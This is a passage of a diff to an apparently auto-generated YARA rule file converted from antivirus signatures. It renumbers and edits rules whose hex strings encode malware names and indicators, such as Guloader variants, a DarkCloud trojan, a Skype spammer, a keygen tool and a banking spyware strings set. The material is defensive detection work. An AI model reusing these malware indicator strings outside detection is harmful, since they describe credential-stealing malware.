1)*17221+(#a_78_2 & 1)*26128) >=1 } -rule _InfrastructureShared_7770{ +rule _InfrastructureShared_8218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -81939,7 +86720,7 @@ rule _InfrastructureShared_7770{ ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*-8703) >=1 } -rule _InfrastructureShared_7771{ +rule _InfrastructureShared_8219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -81955,7 +86736,7 @@ rule _InfrastructureShared_7771{ ((#a_54_0 & 1)*18467+(#a_f8_1 & 1)*1929+(#a_26_2 & 1)*0+(#a_00_3 & 1)*0+(#a_23_4 & 1)*2+(#a_13_5 & 1)*10240+(#a_00_6 & 1)*103) >=1 } -rule _InfrastructureShared_7772{ +rule _InfrastructureShared_8220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -81965,7 +86746,7 @@ rule _InfrastructureShared_7772{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7773{ +rule _InfrastructureShared_8221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -81975,7 +86756,7 @@ rule _InfrastructureShared_7773{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7774{ +rule _InfrastructureShared_8222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -81986,7 +86767,7 @@ rule _InfrastructureShared_7774{ ((#a_6c_0 & 1)*16675+(#a_7a_1 & 1)*0) >=2 } -rule _InfrastructureShared_7775{ +rule _InfrastructureShared_8223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -81996,7 +86777,7 @@ rule _InfrastructureShared_7775{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_7776{ +rule _InfrastructureShared_8224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -82007,7 +86788,7 @@ rule _InfrastructureShared_7776{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*19535) >=2 } -rule _InfrastructureShared_7777{ +rule _InfrastructureShared_8225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -82018,7 +86799,7 @@ rule _InfrastructureShared_7777{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*0) >=2 } -rule _InfrastructureShared_7778{ +rule _InfrastructureShared_8226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -82029,7 +86810,7 @@ rule _InfrastructureShared_7778{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*12385) >=2 } -rule _InfrastructureShared_7779{ +rule _InfrastructureShared_8227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -82041,7 +86822,7 @@ rule _InfrastructureShared_7779{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*25940+(#a_0f_2 & 1)*-30807) >=2 } -rule _InfrastructureShared_7780{ +rule _InfrastructureShared_8228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -82053,7 +86834,7 @@ rule _InfrastructureShared_7780{ ((#a_46_0 & 1)*16675+(#a_60_1 & 1)*-14857+(#a_00_2 & 1)*2) >=2 } -rule _InfrastructureShared_7781{ +rule _InfrastructureShared_8229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -82064,7 +86845,7 @@ rule _InfrastructureShared_7781{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*21899) >=2 } -rule _InfrastructureShared_7782{ +rule _InfrastructureShared_8230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -82076,7 +86857,7 @@ rule _InfrastructureShared_7782{ ((#a_4c_0 & 1)*21539+(#a_ec_1 & 1)*9228+(#a_48_2 & 1)*25958) >=2 } -rule _InfrastructureShared_7783{ +rule _InfrastructureShared_8231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -82089,7 +86870,7 @@ rule _InfrastructureShared_7783{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*21353+(#a_61_2 & 1)*264+(#a_6f_3 & 1)*25462) >=2 } -rule _InfrastructureShared_7784{ +rule _InfrastructureShared_8232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -82101,7 +86882,7 @@ rule _InfrastructureShared_7784{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*74+(#a_61_3 & 1)*30305) >=2 } -rule _InfrastructureShared_7785{ +rule _InfrastructureShared_8233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -82113,7 +86894,7 @@ rule _InfrastructureShared_7785{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*97+(#a_65_3 & 1)*3840) >=2 } -rule _InfrastructureShared_7786{ +rule _InfrastructureShared_8234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -82126,7 +86907,7 @@ rule _InfrastructureShared_7786{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*27491+(#a_74_2 & 1)*25134+(#a_61_3 & 1)*20817) >=2 } -rule _InfrastructureShared_7787{ +rule _InfrastructureShared_8235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -82141,7 +86922,7 @@ rule _InfrastructureShared_7787{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*16741+(#a_70_2 & 1)*29800+(#a_44_3 & 1)*20+(#a_53_4 & 1)*17492+(#a_6f_5 & 1)*27713) >=2 } -rule _InfrastructureShared_7788{ +rule _InfrastructureShared_8236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -82153,7 +86934,7 @@ rule _InfrastructureShared_7788{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*29800+(#a_44_2 & 1)*20) >=3 } -rule _InfrastructureShared_7789{ +rule _InfrastructureShared_8237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -82165,7 +86946,7 @@ rule _InfrastructureShared_7789{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_45_2 & 1)*20225) >=3 } -rule _InfrastructureShared_7790{ +rule _InfrastructureShared_8238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -82177,7 +86958,7 @@ rule _InfrastructureShared_7790{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-11265+(#a_61_2 & 1)*28519) >=3 } -rule _InfrastructureShared_7791{ +rule _InfrastructureShared_8239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -82188,18 +86969,30 @@ rule _InfrastructureShared_7791{ ((#a_6c_0 & 1)*16675+(#a_7a_1 & 1)*0) >=3 } -rule _InfrastructureShared_7792{ +rule _InfrastructureShared_8240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_6c_0 = {77 4c 69 73 74 3a 56 6b 53 70 61 6d 4d 61 73 74 65 72 00 01 00 2c 01 68 74 74 70 73 3a 2f 2f 76 6b 2d 73 70 61 6d 2d 6d 61 73 74 65 72 2e 63 6f 6d 2f 69 6e 73 74 72 75 63 74 69 6f 6e 73 2e 68 74 6d 6c 01 00 17 01 6f 61 75 74 68 2e 76 6b 2e 63 6f 6d 2f 62 6c 61 6e 6b 2e 68 74 6d 6c 01 00 0a 01 61 70 69 2e 76 6b 2e 63 6f 6d } //16675 - $a_7a_1 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 5a 5a 56 31 32 33 21 4d 54 42 00 01 00 22 81 01 6e 65 6f 6c 6f 67 69 73 6d 73 20 67 61 6c 6c 6f 66 6c 61 76 69 6e 20 6f 6e 74 6f 6c 6f 67 69 63 61 6c 01 00 07 81 01 73 61 70 73 75 63 6b 01 00 18 81 01 69 6e 74 69 73 20 76 65 6b 73 65 6c 66 6f 72 6d 75 6c 61 72 65 72 6e } //0 + $a_7a_1 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 51 30 31 21 4d 54 42 00 01 00 18 81 01 61 6e 69 6d 6f 73 69 74 65 74 73 20 6f 76 65 72 73 77 65 65 74 65 6e 73 01 00 10 81 01 64 69 73 73 69 6d 69 6c 69 61 74 69 6f 6e 65 72 01 00 14 81 01 61 72 74 73 62 65 73 74 65 6d 6d 65 6e 64 65 73 2e 65 78 } //0 condition: ((#a_6c_0 & 1)*16675+(#a_7a_1 & 1)*0) >=3 } -rule _InfrastructureShared_7793{ +rule _InfrastructureShared_8241{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 51 30 31 21 4d 54 42 00 01 00 18 81 01 61 6e 69 6d 6f 73 69 74 65 74 73 20 6f 76 65 72 73 77 65 65 74 65 6e 73 01 00 10 81 01 64 69 73 73 69 6d 69 6c 69 61 74 69 6f 6e 65 72 } //18467 + $a_81_1 = {61 72 74 73 62 65 73 74 65 6d 6d 65 6e 64 65 73 2e 65 78 65 } //1 artsbestemmendes.exe + $a_7a_2 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 5a 5a 56 31 32 33 21 4d 54 42 00 01 00 22 81 01 6e 65 6f 6c 6f 67 69 73 6d 73 20 67 61 6c 6c 6f 66 6c 61 76 69 6e 20 6f 6e 74 6f 6c 6f 67 69 63 61 6c 01 00 07 81 01 73 61 70 73 75 63 6b 01 00 18 81 01 69 6e 74 69 73 20 76 65 6b 73 65 6c 66 6f 72 6d 75 6c 61 72 65 72 6e } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_7a_2 & 1)*0) >=3 + +} +rule _InfrastructureShared_8242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -82211,7 +87004,7 @@ rule _InfrastructureShared_7793{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26881+(#a_65_2 & 1)*26988) >=3 } -rule _InfrastructureShared_7794{ +rule _InfrastructureShared_8243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -82223,7 +87016,7 @@ rule _InfrastructureShared_7794{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26992+(#a_00_2 & 1)*116) >=3 } -rule _InfrastructureShared_7795{ +rule _InfrastructureShared_8244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -82234,7 +87027,7 @@ rule _InfrastructureShared_7795{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*112) >=3 } -rule _InfrastructureShared_7796{ +rule _InfrastructureShared_8245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -82246,7 +87039,7 @@ rule _InfrastructureShared_7796{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25954+(#a_49_2 & 1)*20290) >=3 } -rule _InfrastructureShared_7797{ +rule _InfrastructureShared_8246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -82260,7 +87053,7 @@ rule _InfrastructureShared_7797{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*16933+(#a_fe_2 & 1)*510+(#a_01_3 & 1)*-28561+(#a_52_4 & 1)*2560) >=3 } -rule _InfrastructureShared_7798{ +rule _InfrastructureShared_8247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -82271,7 +87064,7 @@ rule _InfrastructureShared_7798{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*7424) >=4 } -rule _InfrastructureShared_7799{ +rule _InfrastructureShared_8248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -82282,19 +87075,7 @@ rule _InfrastructureShared_7799{ ((#a_46_0 & 1)*16675+(#a_7d_1 & 1)*0) >=4 } -rule _InfrastructureShared_7800{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 43 6c 6f 75 64 2e 4e 46 41 21 4d 54 42 00 02 00 1d 01 11 07 11 08 11 05 11 08 17 59 9a 6f 80 00 00 0a 25 26 a2 11 08 17 58 13 08 11 08 11 06 01 00 15 03 5f 1e 62 0a 06 90 01 02 00 } //16675 - $a_17_1 = {91 60 } //1024 - $a_90_2 = {01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 7a } //522 - condition: - ((#a_46_0 & 1)*16675+(#a_17_1 & 1)*1024+(#a_90_2 & 1)*522) >=4 - -} -rule _InfrastructureShared_7801{ +rule _InfrastructureShared_8249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -82302,37 +87083,50 @@ rule _InfrastructureShared_7801{ $a_54_0 = {3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 65 79 67 65 6e 21 72 66 6e 2e 77 61 34 00 01 00 14 80 01 63 72 61 63 6b 69 6e 67 70 61 74 63 68 69 6e 67 2e 63 6f 6d 01 00 0c 80 01 51 75 69 63 6b 20 4c 61 75 6e 63 68 01 00 09 80 01 49 44 4d 61 6e } //18467 $a_65_1 = {00 10 80 01 43 72 61 63 6b 69 6e 67 50 61 74 63 68 69 6e 67 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 6b 79 61 70 69 6d 00 01 00 16 01 53 6b 79 70 65 20 41 50 49 20 73 70 61 6d 6d 65 72 2e 65 78 65 00 01 00 0f 01 67 65 74 5f 53 50 41 4d 5f 73 65 6e 64 31 00 01 00 0e 01 73 65 74 5f 53 70 61 6d 5f } //25902 $a_65_2 = {01 00 11 01 73 65 74 5f 53 50 41 4d 5f 4d 65 73 73 61 67 65 00 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 42 61 6e 6b 65 72 2e 41 48 41 00 01 00 07 00 73 69 63 72 65 64 69 01 00 14 00 69 6e 74 65 72 6e 65 74 62 61 6e 6b 69 6e 67 63 61 69 78 61 01 00 16 00 67 65 72 } //24910 - $a_69_3 = {64 6f 72 20 66 69 6e 61 6e 63 65 69 72 6f 01 00 0f 01 54 65 63 6c 61 64 6f 20 56 69 72 74 75 61 6c 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 57 31 32 33 21 4d 54 42 00 01 00 1c 81 01 63 61 6c 63 75 6c 61 62 6c 79 20 6d 6f 6e 64 } //28261 + $a_69_3 = {64 6f 72 20 66 69 6e 61 6e 63 65 69 72 6f 01 00 0f 01 54 65 63 6c 61 64 6f 20 56 69 72 74 75 61 6c 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 52 30 31 21 4d 54 42 00 01 00 15 81 01 68 65 72 6f 69 73 65 72 69 6e 67 65 6e 20 63 72 75 } //28261 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25902+(#a_65_2 & 1)*24910+(#a_69_3 & 1)*28261) >=4 } -rule _InfrastructureShared_7802{ +rule _InfrastructureShared_8250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 6b 79 61 70 69 6d 00 01 00 16 01 53 6b 79 70 65 20 41 50 49 20 73 70 61 6d 6d 65 72 2e 65 78 65 00 01 00 0f 01 67 65 74 5f 53 50 41 4d 5f 73 65 6e 64 31 00 01 00 0e 01 73 65 74 5f 53 70 61 6d 5f 4e } //18467 $a_00_1 = {01 00 11 01 73 65 74 5f 53 50 41 4d 5f 4d 65 73 73 61 67 65 00 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 42 61 6e 6b 65 72 2e 41 48 41 00 01 00 07 00 73 69 63 72 65 64 69 01 00 14 00 69 6e 74 65 72 6e 65 74 62 61 6e 6b 69 6e 67 63 61 69 78 } //28001 - $a_65_3 = {63 69 61 64 6f 72 20 66 69 6e 61 6e 63 65 69 72 6f 01 00 0f 01 54 65 63 6c 61 64 6f 20 56 69 72 74 75 61 6c 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 57 31 32 33 21 4d 54 42 00 01 00 1c 81 01 63 61 6c 63 75 6c 61 62 6c 79 20 6d 6f 6e 64 6e 69 74 65 74 73 20 66 69 70 70 6c } //25959 + $a_65_3 = {63 69 61 64 6f 72 20 66 69 6e 61 6e 63 65 69 72 6f 01 00 0f 01 54 65 63 6c 61 64 6f 20 56 69 72 74 75 61 6c 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 52 30 31 21 4d 54 42 00 01 00 15 81 01 68 65 72 6f 69 73 65 72 69 6e 67 65 6e 20 63 72 75 6d 6d 65 72 01 00 13 81 01 6d 69 73 } //25959 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28001+(#a_65_3 & 1)*25959) >=4 } -rule _InfrastructureShared_7803{ +rule _InfrastructureShared_8251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 42 61 6e 6b 65 72 2e 41 48 41 00 01 00 07 00 73 69 63 72 65 64 69 01 00 14 00 69 6e 74 65 72 6e 65 74 62 61 6e 6b 69 6e 67 63 61 69 78 61 01 00 16 00 67 65 72 65 6e 63 69 61 64 6f 72 20 66 69 6e 61 } //18467 - $a_69_1 = {6f 01 00 0f 01 54 65 63 6c 61 64 6f 20 56 69 72 74 75 61 6c 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 57 31 32 33 21 4d 54 42 00 01 00 1c 81 01 63 61 6c 63 75 6c 61 62 6c 79 20 6d 6f 6e 64 6e 69 74 65 74 73 20 66 69 70 70 6c 65 01 00 } //25454 - $a_64_2 = {6e } //-32501 n - $a_66_3 = {65 72 73 01 00 09 81 01 62 61 74 74 65 6e 64 65 73 01 00 0c 81 01 6b 6f 72 74 6c 67 6e 69 6e 67 65 72 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 4f 31 32 33 21 4d 54 42 00 01 00 0f 81 01 6d 79 61 20 61 6e 74 69 6d 61 6c 6c 65 69 6e 01 00 06 81 01 } //29284 + $a_69_1 = {6f 01 00 0f 01 54 65 63 6c 61 64 6f 20 56 69 72 74 75 61 6c 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 52 30 31 21 4d 54 42 00 01 00 15 81 01 68 65 72 6f 69 73 65 72 69 6e 67 65 6e 20 63 72 75 6d 6d 65 72 01 00 13 81 01 6d 69 73 6c 61 62 } //25454 + $a_73_2 = {75 73 68 65 72 69 61 6e 01 00 0c 81 01 76 65 6e 74 75 72 65 64 2e 65 78 65 01 00 0a 81 01 69 6e 74 72 6f 6a 65 63 74 73 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 57 31 32 33 21 4d 54 42 00 01 00 1c 81 01 63 61 6c 63 75 6c 61 62 6c 79 20 6d 6f 6e 64 6e 69 74 65 74 73 20 66 } //30063 + $a_6c_3 = {01 00 0b 81 01 64 67 6e 64 72 69 66 74 65 72 73 01 00 09 81 01 62 61 74 74 65 6e 64 65 73 01 00 0c 81 01 6b 6f 72 74 6c 67 6e 69 6e 67 65 72 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 4f 31 32 33 21 4d 54 42 00 01 00 0f 81 01 6d 79 61 20 61 6e 74 69 6d 61 6c 6c 65 69 } //28777 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25454+(#a_64_2 & 1)*-32501+(#a_66_3 & 1)*29284) >=4 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25454+(#a_73_2 & 1)*30063+(#a_6c_3 & 1)*28777) >=4 } -rule _InfrastructureShared_7804{ +rule _InfrastructureShared_8252{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 52 30 31 21 4d 54 42 00 01 00 15 81 01 68 65 72 6f 69 73 65 72 69 6e 67 65 6e 20 63 72 75 6d 6d 65 72 01 00 13 81 01 6d 69 73 6c 61 62 6f 75 72 73 20 75 73 68 65 72 69 61 6e 01 00 0c 81 01 76 65 } //18467 + $a_72_1 = {64 2e 65 78 65 01 00 0a 81 01 69 6e 74 72 6f 6a 65 63 74 73 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 57 31 32 33 21 4d 54 42 00 01 00 1c 81 01 63 61 6c 63 75 6c 61 62 6c 79 20 6d 6f 6e 64 6e 69 74 65 74 73 20 66 69 70 70 6c 65 01 00 0b 81 01 64 67 6e 64 72 69 66 74 65 72 73 01 00 } //29806 + $a_62_2 = {74 } //-32503 t + $a_64_3 = {73 01 00 0c 81 01 6b 6f 72 74 6c 67 6e 69 6e 67 65 72 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 4f 31 32 33 21 4d 54 42 00 01 00 0f 81 01 6d 79 61 20 61 6e 74 69 6d 61 6c 6c 65 69 6e 01 00 06 81 01 73 74 65 72 75 64 01 00 10 81 01 62 65 72 67 6c 69 6f 74 20 6a } //25972 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29806+(#a_62_2 & 1)*-32503+(#a_64_3 & 1)*25972) >=4 + +} +rule _InfrastructureShared_8253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -82340,25 +87134,38 @@ rule _InfrastructureShared_7804{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 57 31 32 33 21 4d 54 42 00 01 00 1c 81 01 63 61 6c 63 75 6c 61 62 6c 79 20 6d 6f 6e 64 6e 69 74 65 74 73 20 66 69 70 70 6c 65 01 00 0b 81 01 64 67 6e 64 72 69 66 74 65 72 73 01 00 09 81 01 62 } //18467 $a_65_1 = {64 65 73 01 00 0c 81 01 6b 6f 72 74 6c 67 6e 69 6e 67 65 72 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 4f 31 32 33 21 4d 54 42 00 01 00 0f 81 01 6d 79 61 20 61 6e 74 69 6d 61 6c 6c 65 69 6e 01 00 06 81 01 73 74 65 72 75 64 01 00 10 81 01 62 65 72 67 6c 69 6f 74 20 6a 75 67 67 6c } //29793 $a_00_2 = {17 } //29541 - $a_6e_3 = {72 6f 66 69 63 69 65 6e 63 79 20 72 65 64 68 65 61 64 65 64 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 43 6c 69 63 6b 65 72 3a 57 69 6e 33 32 2f 56 42 00 01 00 0a 01 52 65 61 64 79 53 74 61 74 65 01 00 0c 01 57 00 73 35 cf 11 ae 69 08 00 2b 2e 01 00 0f 01 d0 11 a9 6b 00 c0 4f d7 05 a2 a0 15 a7 34 87 } //385 + $a_6e_3 = {72 6f 66 69 63 69 65 6e 63 79 20 72 65 64 68 65 61 64 65 64 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 53 31 21 4d 54 42 00 01 00 11 81 01 61 6e 74 69 66 6f 72 75 72 65 6e 69 6e 67 65 6e 73 01 00 11 81 01 73 74 72 61 66 63 65 6c 6c 65 72 6e 65 2e 65 78 65 01 00 0c 81 01 43 72 65 61 74 } //385 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29793+(#a_00_2 & 1)*29541+(#a_6e_3 & 1)*385) >=4 } -rule _InfrastructureShared_7805{ +rule _InfrastructureShared_8254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 4f 31 32 33 21 4d 54 42 00 01 00 0f 81 01 6d 79 61 20 61 6e 74 69 6d 61 6c 6c 65 69 6e 01 00 06 81 01 73 74 65 72 75 64 01 00 10 81 01 62 65 72 67 6c 69 6f 74 20 6a 75 67 67 6c 65 73 01 00 17 } //18467 - $a_6e_1 = {72 6f 66 69 63 69 65 6e 63 79 20 72 65 64 68 65 61 64 65 64 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 43 6c 69 63 6b 65 72 3a 57 69 6e 33 32 2f 56 42 00 01 00 0a 01 52 65 61 64 79 53 74 61 74 65 01 00 0c 01 57 00 73 35 cf 11 ae 69 08 00 2b 2e 01 00 0f 01 d0 11 a9 6b 00 c0 4f d7 05 a2 a0 15 a7 34 87 } //385 - $a_01_2 = {ff 15 00 53 48 44 6f 63 56 77 43 74 6c 2e 57 65 62 42 72 6f 77 73 65 72 00 } //1 - $a_7a_3 = {00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 43 6f 6d 73 63 6f 72 65 5f 42 75 6e 64 6c 65 72 00 01 00 0c 80 01 72 6b 5f 73 65 74 75 70 2e 65 78 65 01 00 15 80 01 66 72 65 65 2d 61 75 74 6f 2d 63 6c 69 63 6b 65 72 2e 63 6f 6d 01 00 11 80 01 73 65 63 75 72 65 73 74 75 64 69 65 73 2e 63 6f 6d 01 00 0f 80 01 46 72 65 65 41 75 74 6f 43 6c 69 63 6b 65 } //0 + $a_6e_1 = {72 6f 66 69 63 69 65 6e 63 79 20 72 65 64 68 65 61 64 65 64 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 53 31 21 4d 54 42 00 01 00 11 81 01 61 6e 74 69 66 6f 72 75 72 65 6e 69 6e 67 65 6e 73 01 00 11 81 01 73 74 72 61 66 63 65 6c 6c 65 72 6e 65 2e 65 78 65 01 00 0c 81 01 43 72 65 61 74 } //385 + $a_72_2 = {61 64 01 00 11 81 01 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 00 00 78 7a 00 00 04 00 04 00 04 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 43 6c 69 63 6b 65 72 3a 57 69 6e 33 32 2f 56 42 00 01 00 0a 01 52 65 61 64 79 53 74 61 74 65 01 00 0c 01 57 00 73 35 cf 11 ae 69 08 00 2b 2e 01 00 } 